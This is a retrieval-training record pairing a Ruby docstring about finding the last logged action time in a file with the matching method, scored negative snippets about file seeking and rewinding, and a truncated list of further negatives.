"def log_start_position(seek_pos, old_pos = 0)\n # Don't try and seek past the beginning or end of the file\n return FILE_SIZE if seek_pos >= FILE_SIZE\n return 0 if seek_pos <= 0\n \n debug \"Seeking to #{seek_pos} (#{(seek_pos/FILE_SIZE.to_f) * 100}%), offset is #{seek_pos - old_pos}\"\n \n LOGFILE.seek(seek_pos)\n \n # discard the first line, it could be incomplete\n LOGFILE.readline\n return LOGFILE.pos if LOGFILE.pos == FILE_SIZE\n ln = LOGFILE.readline\n date = datetime_from_string(ln)\n \n if date < FIVE_MINUTES_AGO\n # The position we are in in the file is too far back in time, jump forward\n new_pos = LOGFILE.pos + ((FILE_SIZE - LOGFILE.pos) / 2)\n debug \"Date #{date} is too old compared to #{FIVE_MINUTES_AGO.to_s}, new position is #{new_pos}\"\n return LOGFILE.pos if new_pos - LOGFILE.pos <= MIN_OFFSET\n return log_start_position(new_pos, seek_pos)\n else\n # The position we are in the file is too close to the present, jump back\n new_pos = LOGFILE.pos - ((seek_pos - old_pos) / 2)\n debug \"Date #{date} is too new compared to #{FIVE_MINUTES_AGO.to_s}, new position is #{new_pos}\"\n return LOGFILE.pos if LOGFILE.pos - new_pos <= MIN_OFFSET\n return log_start_position(new_pos, seek_pos)\n end\nend",
"def seek(p0) end",
"def after( time )\n\t\treturn time + self\n\tend",
"def after( time )\n\t\treturn time + self\n\tend",
"def end_frame_extraction_start_seek(duration)\n duration-LAST_FRAME_SKIP\n end",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def next_move_time\n delay = random.rand.clamp(1, 7)\n Time.current.to_f + delay\n end",
"def next_file_number\r\n most_recent_file_number + 1\r\n end",
"def seek(x); @_io.seek(x); end",
"def next_move\n\t\tif @next_move.nil?\n\t\t\t@next_move = determine_next_move\n\t\tend\n\n\t\t@next_move\n\tend",
"def execute_time\n @next_time\n end",
"def update\n advance( (Time.new - @updated).to_i )\n end",
"def prev_end_time\n if not File.exist?(MAIN_DIR + \"prev_end_time\") then\n store_activity_end_time\n end\n\n IO.readlines(MAIN_DIR + \"prev_end_time\")[0]\nend",
"def seek_to_time(seconds)\n return unless running?\n info \"SEEK TO: #{seconds} seconds\"\n send_command :seek, seconds, 1\n end",
"def switch_to_next_comparison()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_switch_to_next_comparison(@handle.ptr)\n end",
"def rewind; end",
"def rewind; end",
"def rewind; end",
"def test_seek_at_time\n #no sample must have a later logical time\n #seek returns the last sample possible\n sample = stream.seek(Time.at(5))\n assert_equal 10, stream.sample_index\n assert_equal Time.at(5), stream.time\n assert_equal [0, Time.at(5), 5], sample\n\n # Check that seeking did not break step / step_back\n assert_equal [1, Time.at(5,500), 50000], stream.step\n assert_equal [0, Time.at(6), 6], stream.step\n assert_equal [2, Time.at(6, 500), 600], stream.step\n sample = stream.seek(Time.at(50))\n assert_equal [1, Time.at(49, 500), 490000], stream.step_back\n assert_equal [0, Time.at(49), 49], stream.step_back\n assert_equal [2, Time.at(48, 500), 4800], stream.step_back\n end",
"def main_variable\r\n super\r\n # Select last file to be operated\r\n @file_index = $game_temp.last_file_index\r\n end",
"def digestPrevLogFile(logFileName)\n \n lastTimestep = 0\n # get ending step\n # keep looking until a valid ending is found\n logTail = `tail -n 20 #{logFileName}`\n #print logTail\n \n logLines = logTail.split(\"\\n\")\n logLines.each do |line|\n #print \"--- #{line}\\n\"\n if line =~ /WRITING VELOCITIES TO OUTPUT FILE AT STEP (\\d*)/ then\n lastTimestep = $1\n #print \"last timestep: #{lastTimestep}\\n\"\n end\n end\n \n # check to see whether the job completed correctly or not\n \n return lastTimestep\nend",
"def start_traction(step_name)\n\n scriptstart_time = Time.now\n\nend",
"def advance_time(delta)\n return unless delta > 0\n return unless @frames > 1\n \n @play_time += delta\n \n #cache this so we can see if we looped past the stop frame\n cached_playtime = @play_time\n \n @play_time %= @duration\n \n new_frame = (@play_time * FRAME_RATE).floor\n new_frame = [[0, new_frame].max, @frames-1].min\n \n #if we hit or passed stop frame, go there and bail\n unless @stop_frame.nil?\n frames_remaining = (@current_frame <= @stop_frame ? @stop_frame - @current_frame : @frames - @current_frame + @stop_frame)\n frames_elapsed = (cached_playtime * FRAME_RATE).floor - @current_frame\n if frames_elapsed > frames_remaining\n if @start_frame.nil?\n #set new_frame first... mucking with is_playing clears stop/start frames\n new_frame = @stop_frame\n cached_handler = @stop_frame_handler\n self.is_playing = false\n\n unless cached_handler.nil?\n cached_handler.call\n end\n \n else\n #important to reset the play time\n goto(@start_frame) and return\n end\n end\n end\n \n goto(new_frame, false)\n end",
"def finish\n @time = 0.0\n @trigger.()\n end",
"def store_activity_end_time\n File.open(MAIN_DIR + \"prev_end_time\", \"w\") do |timeFile|\n timeFile.syswrite(current_time)\n end\nend",
"def time_shift(delay_time)\n\t\t@file_content = IO.readlines(@file)\n\t\tmodified_file = @file_content.map do |line|\n\t\t\tif line.include? \" --> \"\n\t\t\t\ttime = line.split(' --> ')\n\t\t\t\ttime = time.map do |time| \n\t\t\t\t\ta = DateTime.parse(time)\n\t\t\t\t\ta + delay_time.to_i/(24*60*60*1000).to_f \n\t\t\t\tend\n\t\t\t\tline = time[0].strftime(\"%T,%L\") + \" --> \" + time[1].strftime(\"%T,%L\")\n\t\t\telse\n\t\t\t\tline\n\t\t\tend\t\n\t\tend\n\t\t@file_content = modified_file\n\t\tIO.write(@file, modified_file)\n\tend",
"def redo\n if !(isAtEnd)\n @index += 1\n @actions[@index].applyAction\n end\n end",
"def advance\n return if @current or @hidden\n @current_pos += 1.5\n if @current_pos >= @lines.last.length then\n @current = true\n end\n end",
"def atime() end",
"def atime() end",
"def time_since_last_move\n self.created_at - match.moves[ match.moves.index(self) - 1 ].created_at\n end",
"def rewind_disk(time_going_back)\n if (@dvd_time_move - time_going_back) > 0\n @dvd_time_move = @dvd_time_move - time_going_back\n else\n @dvd_time_move = 0\n end\n end",
"def after(time)\n time + self\n end",
"def touch\n @last_access_time = @@access_time_sequence\n @@access_time_sequence += 1\n end",
"def advance(seconds:)\n @time += (seconds.to_i * 1_000)\n end",
"def advance_operation_time(new_operation_time)\n if @operation_time\n @operation_time = [ @operation_time, new_operation_time ].max\n else\n @operation_time = new_operation_time\n end\n end",
"def calc_next_run\n self.next_run_at = nil\n end",
"def rewind(hank)\n# this utilizes the seek method attached to our file to do somethingIll get back to you on that \n hank.seek(0 , IO::SEEK_SET)\n#Ends the function \nend",
"def diskPositionAtTime(t)\n (@startPos + t) % @totalPos\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def current_timer; end",
"def increment_time\n @time = @time + 1\n end",
"def move\n unless moved?\n offset = @deltas.pop\n @moved = true\n end\n end",
"def advance_move_route_index\n @move_route_index += 1 if @move_succeed || @move_route.skippable\n end",
"def move_to_next_line()\r\n while @seek_ptr < @len && @fileBuf.at(@seek_ptr) != \"\\n\"\r\n @seek_ptr = @seek_ptr + 1\r\n end\r\n end",
"def next(pointer)\n super\n\n half_day = 60 * 60 * 12\n full_day = 60 * 60 * 24\n\n first = false\n\n unless @current_time\n first = true\n midnight = Chronic.time_class.local(@now.year, @now.month, @now.day)\n\n yesterday_midnight = midnight - full_day\n tomorrow_midnight = midnight + full_day\n\n offset_fix = midnight.gmt_offset - tomorrow_midnight.gmt_offset\n tomorrow_midnight += offset_fix\n\n catch :done do\n if pointer == :future\n if @type.ambiguous?\n [midnight + @type.time + offset_fix, midnight + half_day + @type.time + offset_fix, tomorrow_midnight + @type.time].each do |t|\n (@current_time = t; throw :done) if t >= @now\n end\n else\n [midnight + @type.time + offset_fix, tomorrow_midnight + @type.time].each do |t|\n (@current_time = t; throw :done) if t >= @now\n end\n end\n else # pointer == :past\n if @type.ambiguous?\n [midnight + half_day + @type.time + offset_fix, midnight + @type.time + offset_fix, yesterday_midnight + @type.time + half_day].each do |t|\n (@current_time = t; throw :done) if t <= @now\n end\n else\n [midnight + @type.time + offset_fix, yesterday_midnight + @type.time].each do |t|\n (@current_time = t; throw :done) if t <= @now\n end\n end\n end\n end\n\n @current_time || raise('Current time cannot be nil at this point')\n end\n\n unless first\n increment = @type.ambiguous? ? half_day : full_day\n @current_time += pointer == :future ? increment : -increment\n end\n\n Span.new(@current_time, @current_time + width)\n end",
"def setTime\n if self.exists && File.writable?(\".\")\n nFile = File.new(\"timed_#{@filename}\", \"w+\")\n \n self.play\n \n puts \"Press enter every time the next lyric should show up!\\n\"\n \n @file.each {\n |line|\n charPrint(line)\n getTime(line, nFile)\n }\n\n nFile.close\n @file.rewind\n end\n end",
"def tell\n @current_io_start + @current_io.tell\n end",
"def checkpoint\n @remaining -= (now - @started_at)\n end",
"def advance_by(time)\n dt = @clock + time\n\n due_to_clock = dt<=>@clock\n raise 'Time is out of range' if due_to_clock < 0\n\n return if due_to_clock == 0\n raise 'Cannot advance while running' if @enabled\n\n self.advance_to dt\n end",
"def start_after; end",
"def next_track()\n @ole.NextTrack()\n end",
"def advance\n #Check for current instance of location\n @location += 1\n @currentCommand = @commandArray.at(@location)\n end",
"def puttime\n return if gameover?\n\n setpos(TIMELINE, 0)\n addstr(\"#{Time.now.to_i - @start} sec\")\n end",
"def sysseek\n end",
"def rewind\n end",
"def stopped_at=(_arg0); end",
"def stopped_at=(_arg0); end",
"def stopped_at=(_arg0); end",
"def last_move\n @last_move\n end",
"def seek(*rest) end",
"def seek(*rest) end",
"def timer; end",
"def timer; end",
"def timer; end",
"def timer; end",
"def pos\n file.pos\n end",
"def file_finished(file, offenses); end"
] |
[
"0.7225953",
"0.71267027",
"0.66801333",
"0.6642811",
"0.6440103",
"0.6163304",
"0.59265846",
"0.59265846",
"0.5797089",
"0.57644284",
"0.57644284",
"0.57644284",
"0.57404035",
"0.5735688",
"0.56971353",
"0.56480134",
"0.5623349",
"0.5608162",
"0.5608162",
"0.5608162",
"0.55960554",
"0.55552983",
"0.5535697",
"0.5534781",
"0.553116",
"0.5501455",
"0.55014044",
"0.5481086",
"0.54797894",
"0.54797894",
"0.5474395",
"0.546915",
"0.546915",
"0.546915",
"0.546915",
"0.54600334",
"0.5452042",
"0.5436276",
"0.543426",
"0.5419765",
"0.541771",
"0.54130244",
"0.5412623",
"0.5407958",
"0.5398854",
"0.5398854",
"0.5398854",
"0.53987265",
"0.5393152",
"0.5370039",
"0.53682137",
"0.53622013",
"0.5361796",
"0.5361578",
"0.5356647",
"0.53417844",
"0.53341717",
"0.53267723",
"0.53267723",
"0.5316497",
"0.5313445",
"0.53035885",
"0.53033143",
"0.52992254",
"0.5298812",
"0.5298236",
"0.5290275",
"0.5289338",
"0.52838135",
"0.52838135",
"0.52838135",
"0.52838135",
"0.52714807",
"0.52651745",
"0.5257629",
"0.5253929",
"0.5247737",
"0.5246776",
"0.5238064",
"0.52362657",
"0.5223003",
"0.52188015",
"0.52152044",
"0.52125424",
"0.5208989",
"0.5206867",
"0.5206706",
"0.52059823",
"0.5203427",
"0.5203427",
"0.5203427",
"0.5202142",
"0.52013195",
"0.5199739",
"0.51947856",
"0.51947856",
"0.51947856",
"0.51947856",
"0.5182264",
"0.5179469"
] |
0.7839334
|
0
|
Read backwards through file until we find the time of the last action written to it.
|
def get_next_result_time(file)
result_time = nil
while(!file.eof? && (this_line = file.readline))
if(this_line =~NEW_ACTION_REGEX)
result_time = Time.parse($1)
break
end
end
result_time
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_time_of_last_file_action(file)\r\n\t\tresult_time = nil\r\n\t\tstarting_pos = file.pos\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tfile.seek(file.pos-[10000, file.pos].min, IO::SEEK_SET)\r\n\t\t\r\n\t\twhile(!file.eof? && (this_line = file.readline))\r\n\t\t\tresult_time = Time.parse($1) if(this_line =~NEW_ACTION_REGEX)\r\n\t\tend\r\n\r\n\t\t# Reset file\r\n\t\tfile.seek(starting_pos, IO::SEEK_SET)\r\n\t\tresult_time\r\n\tend",
"def file_seek_to_time(file, time_obj, logger)\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tend_pos = file.pos\r\n\t\tfile.rewind\r\n\t\tfile = seek_to_time_helper(file, time_obj, 0, end_pos, logger)\r\n\t\tstarting_line_pos = file.pos\r\n\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= time_obj\r\n\t\t\t\t\tfile.seek(starting_line_pos, IO::SEEK_SET)\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\tstarting_line_pos = file.pos\r\n\t\tend\r\n\t\tfile\r\n\tend",
"def get_next_action_time(file)\r\n\t\tstart_pos = file.pos\r\n\t\tnext_time = get_next_result_time(file)\r\n\t\tfile.seek(start_pos, IO::SEEK_SET)\r\n\t\tnext_time\r\n\tend",
"def get_last_activity\n if not File.exist?(MAIN_DIR + \"prev_activity\") then\n write_last_activity \"Unknown\"\n end\n\n IO.readlines(MAIN_DIR + \"prev_activity\")[0]\nend",
"def last_write\n @file\n end",
"def read_last n=-1\n history = File.open(@current)\n lines = history.readlines\n if n != -1 then\n lines = lines[-n..-1] if (lines.size > n)\n end\n status_list = Array.new\n lines.each do |line|\n status_list << eval(line)\n end\n return status_list\n end",
"def read\n @index += 1\n line = @last ? @last : @lines[@index]\n @last = nil\n line\n end",
"def tail_last\n log_name = last_log\n File.open log_name do |f|\n f.extend File::Tail\n f.interval = 2\n f.backward(2)\n f.return_if_eof = true\n loop do\n f.tail { |line| color_print line }\n break unless last_log == log_name\n end\n end\nend",
"def read_backwards\n\t\t_read(EVENTLOG_SEQUENTIAL_READ | EVENTLOG_BACKWARDS_READ)\n\tend",
"def write_last_activity(activity)\n File.open(MAIN_DIR + \"prev_activity\", \"w\") do |file|\n file.syswrite(activity)\n end\nend",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def last_written_at\n entry = read(1).first\n entry.time if entry\n end",
"def prev_end_time\n if not File.exist?(MAIN_DIR + \"prev_end_time\") then\n store_activity_end_time\n end\n\n IO.readlines(MAIN_DIR + \"prev_end_time\")[0]\nend",
"def seek_to_time_helper(file, target_time, start_pos, end_pos, logger)\r\n\t\treturn nil unless file && target_time\r\n\t\tlogger.info(\"Checking between file pos #{start_pos} and #{end_pos}.\")\r\n\r\n\t\trewind_pos = file.pos\r\n\t\tmiddle_pos = (start_pos+end_pos)/2\r\n\t\tfile.seek(middle_pos, IO::SEEK_SET)\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= target_time\r\n\t\t\t\t\treturn seek_to_time_helper(file, this_time, start_pos, middle_pos, logger)\r\n\t\t\t\telsif(this_time < target_time && (this_time-target_time).abs < MAX_TIME_BETWEEN_CONTROLLER_ACTIONS)\r\n\t\t\t\t\tfile.seek(rewind_pos, IO::SEEK_SET)\r\n\t\t\t\t\treturn file\r\n\t\t\t\telse\r\n\t\t\t\t\treturn seek_to_time_helper(file, this_time, middle_pos, end_pos, logger)\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# If we can't find any line that meets the criteria we seek, just send back the file object in the closest spot we could find.\r\n\t\tfile.seek(rewind_pos, IO::SEEK_SET)\r\n\t\treturn file\r\n\tend",
"def read_next_move\n\t\t\t\tms = read_acpc_matchstate\n\t\t\t\treturn ms[:last_action]\n\t\t\tend",
"def last_file\n @last_file ||= begin\n # Preserve one prior version of the log file\n FileUtils.mv Log.log_file, \"#{Log.log_file}.old\" if File.exist?(Log.log_file)\n open_log(Log.log_file)\n end\n end",
"def load_game(file) \n raise \"I suspect you of cheating.\" if File.mtime(file) != Time.at(File.readlines(file).last.to_i)\nend",
"def read_from_last?(file_handle, stat)\n # seek to last position + 1\n old_size = @size\n @size = stat.size\n @mtime = stat.mtime\n Snoopit.logger.debug \"File pointer at byte: #{file_handle.tell}\"\n file_handle.seek old_size, IO::SEEK_SET\n Snoopit.logger.debug \"Starting read from byte: #{file_handle.tell} destination byte #{old_size} new size #{@size}\"\n true\n end",
"def rewind; end",
"def rewind; end",
"def rewind; end",
"def almost_rewind(f)\n f.seek(2)\nend",
"def latest_file_index\n latest_index = 0\n latest_time = Time.at(0)\n (0..MAX_SAVE_SLOT-1).each do |i|\n filename = make_filename(i)\n next if !FileTest.exist?(filename)\n file_time = File.mtime(filename)\n if file_time > latest_time\n latest_time = file_time\n latest_index = i\n end\n end\n return latest_index\n end",
"def rewind\n @read_index = -1\n end",
"def search_backwards(file, backwards: T.unsafe(nil)); end",
"def read_tail(f)\n f.seek(0)\n f.readbytes(4).unpack('N').first\n end",
"def last_cmds(n=1)\n puts Readline::HISTORY.entries[-(n+1)..-2].join(\"\\n\")\nend",
"def rewind(f)\n #seeks for f at line 0\n f.seek(0)\n end",
"def rewind (f)\n f.seek(0)\nend",
"def digestPrevLogFile(logFileName)\n \n lastTimestep = 0\n # get ending step\n # keep looking until a valid ending is found\n logTail = `tail -n 20 #{logFileName}`\n #print logTail\n \n logLines = logTail.split(\"\\n\")\n logLines.each do |line|\n #print \"--- #{line}\\n\"\n if line =~ /WRITING VELOCITIES TO OUTPUT FILE AT STEP (\\d*)/ then\n lastTimestep = $1\n #print \"last timestep: #{lastTimestep}\\n\"\n end\n end\n \n # check to see whether the job completed correctly or not\n \n return lastTimestep\nend",
"def rewind(f)\r\n f.seek(0)\r\nend",
"def rewind(f)\r\n f.seek(0)\r\nend",
"def last_alive(path)\n f = alive_file(path)\n f = terminated_file(path) unless File.exist? f\n c = File.read(f)\n return nil if c.nil? || c.empty?\n\n Time.parse(c)\n rescue Errno::ENOENT, ArgumentError\n return nil\n end",
"def last\n contents[contents.size - 1]\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def angry_spinlock(filename)\n\n step = File.open(File.join('data', filename)).map(&:strip).select{|line| !line.empty?}\n .first.to_i\n\n pos = 0\n size = 1\n last_at_1 = 0\n\n (1..50000000).each{|x|\n\n pos = ((pos + step) % size) + 1\n size += 1\n\n # Was this number (x) the latest to want to be written at position 1?\n if (pos == 1) then last_at_1 = x end\n\n }\n\n return last_at_1\nend",
"def rewind(f)\n f.seek(8)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\n end",
"def rewind(f)\r\n\tf.seek(0)\r\nend",
"def rewind\n @file.rewind\n end",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n # '.seek()' command moves to the start of the file\n f.seek(0)\nend",
"def update_recent(file_name)\n # Read in the list of recently opened files\n recent_files = []\n File.open(RECENT_LOC, 'r') do |recent|\n recent_files = recent.read.split(\"\\n\")\n end\n\n # If file is already in recent_files, move it to the beginning\n # Otherwise, just add it to the beginning\n abs_path = File.expand_path(file_name)\n recent_files.delete(abs_path) if recent_files.include?(abs_path)\n recent_files.prepend(abs_path)\n\n # Write updated list of recent files back into file\n File.open(RECENT_LOC, 'w') do |recent|\n recent.puts recent_files.join(\"\\n\")\n end\n\n puts recent_files\nend",
"def rewind(hank)\n# this utilizes the seek method attached to our file to do somethingIll get back to you on that \n hank.seek(0 , IO::SEEK_SET)\n#Ends the function \nend",
"def rewind(f)\n # sets the line counter to 0\n f.seek(0)\n # end of function block\nend",
"def rewind(f)\n\t# I am not sure what .seek(0) does\n\tf.seek(0)\nend",
"def rewind(f)\n # every time you go f.seek(0) it brings you to the start of the file\n f.seek(0)\n# ends the function\nend",
"def rewind(f)\n f.seek(0) # .seek looks for an indexed part of the file, could use any number to place within a file.\nend",
"def process!\n # initialize values\n previous_state, previous_time = @input.readline.split(\" \")\n\n until @input.eof?\n state, time = @input.readline.split(\" \")\n\n # for the last state, always print the duration even if it hasn't flipped\n if @input.eof?\n duration = time.to_i - previous_time.to_i\n @output.puts \"#{previous_state} #{duration}\"\n break\n else\n # didn't flip in state, look ahead\n next if state == previous_state\n\n duration = time.to_i - previous_time.to_i\n @output.puts \"#{previous_state} #{duration}\"\n\n previous_state, previous_time = state, time\n end\n end\n rescue EOFError => e\n end",
"def reverse_readline\n raise BOFError.new(\"beginning of file reached\") if pos == 0\n\n seek_backwards_to(\"\\n\", 512, -2)\n new_pos = pos\n data = readline\n seek(new_pos)\n data\n end",
"def file_history_pop(file)\n file_history = $file_history.to_h\n current_history = file_history.pop\n file_history.each_pair do |index, file_name|\n if file_name == current_history\n $file_history.delete_field(\"#{index}\")\n break\n end\n end\n end",
"def rewind(f)\n #\"rewind\" file back to beginning\n f.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind\n @history_idx = -1\n end",
"def tail_file\n file_watch = FileWatch::Tail.new\n file_watch.tail( \"#{@path}*\" )\n file_watch.subscribe do |_, line|\n process_line( line )\n end\n end",
"def rewind(f)\n # seeks position 0 in the file ( the beginning of the file)\n f.seek(0)\n# ends the function\nend"
] |
[
"0.7026059",
"0.6491201",
"0.63406974",
"0.60755646",
"0.59712696",
"0.5971249",
"0.58754116",
"0.58385503",
"0.57078147",
"0.5602624",
"0.5552814",
"0.5552814",
"0.5552814",
"0.5552814",
"0.55264175",
"0.5513404",
"0.5504965",
"0.5501962",
"0.549304",
"0.546804",
"0.5458944",
"0.5454236",
"0.5454236",
"0.5454236",
"0.5452897",
"0.5441459",
"0.54118645",
"0.53688645",
"0.53338027",
"0.5326669",
"0.5322211",
"0.53218526",
"0.5317402",
"0.5302725",
"0.5302725",
"0.5289328",
"0.5281876",
"0.5281389",
"0.5281389",
"0.5281389",
"0.5281389",
"0.5270629",
"0.52663624",
"0.52649933",
"0.5258954",
"0.5258954",
"0.5258954",
"0.5258954",
"0.5258954",
"0.5258954",
"0.5258954",
"0.52533937",
"0.5252295",
"0.52385503",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.5216316",
"0.51944333",
"0.51922643",
"0.5190787",
"0.51847255",
"0.517045",
"0.51633096",
"0.51546454",
"0.51289696",
"0.51269513",
"0.51250887",
"0.5122449",
"0.5117216",
"0.5117216",
"0.5117216",
"0.5117216",
"0.51166946",
"0.51162803",
"0.511093"
] |
0.5772872
|
8
|
Read backwards through file until we find the time of the last action written to it.
|
def get_time_of_last_file_action(file)
result_time = nil
starting_pos = file.pos
file.seek(0, IO::SEEK_END)
file.seek(file.pos-[10000, file.pos].min, IO::SEEK_SET)
while(!file.eof? && (this_line = file.readline))
result_time = Time.parse($1) if(this_line =~NEW_ACTION_REGEX)
end
# Reset file
file.seek(starting_pos, IO::SEEK_SET)
result_time
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_seek_to_time(file, time_obj, logger)\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tend_pos = file.pos\r\n\t\tfile.rewind\r\n\t\tfile = seek_to_time_helper(file, time_obj, 0, end_pos, logger)\r\n\t\tstarting_line_pos = file.pos\r\n\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= time_obj\r\n\t\t\t\t\tfile.seek(starting_line_pos, IO::SEEK_SET)\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\tstarting_line_pos = file.pos\r\n\t\tend\r\n\t\tfile\r\n\tend",
"def get_next_action_time(file)\r\n\t\tstart_pos = file.pos\r\n\t\tnext_time = get_next_result_time(file)\r\n\t\tfile.seek(start_pos, IO::SEEK_SET)\r\n\t\tnext_time\r\n\tend",
"def get_last_activity\n if not File.exist?(MAIN_DIR + \"prev_activity\") then\n write_last_activity \"Unknown\"\n end\n\n IO.readlines(MAIN_DIR + \"prev_activity\")[0]\nend",
"def read_last n=-1\n history = File.open(@current)\n lines = history.readlines\n if n != -1 then\n lines = lines[-n..-1] if (lines.size > n)\n end\n status_list = Array.new\n lines.each do |line|\n status_list << eval(line)\n end\n return status_list\n end",
"def last_write\n @file\n end",
"def read\n @index += 1\n line = @last ? @last : @lines[@index]\n @last = nil\n line\n end",
"def tail_last\n log_name = last_log\n File.open log_name do |f|\n f.extend File::Tail\n f.interval = 2\n f.backward(2)\n f.return_if_eof = true\n loop do\n f.tail { |line| color_print line }\n break unless last_log == log_name\n end\n end\nend",
"def get_next_result_time(file)\r\n\t\tresult_time = nil\r\n\t\twhile(!file.eof? && (this_line = file.readline))\r\n\t\t\tif(this_line =~NEW_ACTION_REGEX)\r\n\t\t\t\tresult_time = Time.parse($1)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\t\tresult_time\r\n\tend",
"def read_backwards\n\t\t_read(EVENTLOG_SEQUENTIAL_READ | EVENTLOG_BACKWARDS_READ)\n\tend",
"def write_last_activity(activity)\n File.open(MAIN_DIR + \"prev_activity\", \"w\") do |file|\n file.syswrite(activity)\n end\nend",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def rewind() end",
"def last_written_at\n entry = read(1).first\n entry.time if entry\n end",
"def prev_end_time\n if not File.exist?(MAIN_DIR + \"prev_end_time\") then\n store_activity_end_time\n end\n\n IO.readlines(MAIN_DIR + \"prev_end_time\")[0]\nend",
"def seek_to_time_helper(file, target_time, start_pos, end_pos, logger)\r\n\t\treturn nil unless file && target_time\r\n\t\tlogger.info(\"Checking between file pos #{start_pos} and #{end_pos}.\")\r\n\r\n\t\trewind_pos = file.pos\r\n\t\tmiddle_pos = (start_pos+end_pos)/2\r\n\t\tfile.seek(middle_pos, IO::SEEK_SET)\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= target_time\r\n\t\t\t\t\treturn seek_to_time_helper(file, this_time, start_pos, middle_pos, logger)\r\n\t\t\t\telsif(this_time < target_time && (this_time-target_time).abs < MAX_TIME_BETWEEN_CONTROLLER_ACTIONS)\r\n\t\t\t\t\tfile.seek(rewind_pos, IO::SEEK_SET)\r\n\t\t\t\t\treturn file\r\n\t\t\t\telse\r\n\t\t\t\t\treturn seek_to_time_helper(file, this_time, middle_pos, end_pos, logger)\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# If we can't find any line that meets the criteria we seek, just send back the file object in the closest spot we could find.\r\n\t\tfile.seek(rewind_pos, IO::SEEK_SET)\r\n\t\treturn file\r\n\tend",
"def read_next_move\n\t\t\t\tms = read_acpc_matchstate\n\t\t\t\treturn ms[:last_action]\n\t\t\tend",
"def last_file\n @last_file ||= begin\n # Preserve one prior version of the log file\n FileUtils.mv Log.log_file, \"#{Log.log_file}.old\" if File.exist?(Log.log_file)\n open_log(Log.log_file)\n end\n end",
"def load_game(file) \n raise \"I suspect you of cheating.\" if File.mtime(file) != Time.at(File.readlines(file).last.to_i)\nend",
"def read_from_last?(file_handle, stat)\n # seek to last position + 1\n old_size = @size\n @size = stat.size\n @mtime = stat.mtime\n Snoopit.logger.debug \"File pointer at byte: #{file_handle.tell}\"\n file_handle.seek old_size, IO::SEEK_SET\n Snoopit.logger.debug \"Starting read from byte: #{file_handle.tell} destination byte #{old_size} new size #{@size}\"\n true\n end",
"def rewind; end",
"def rewind; end",
"def rewind; end",
"def almost_rewind(f)\n f.seek(2)\nend",
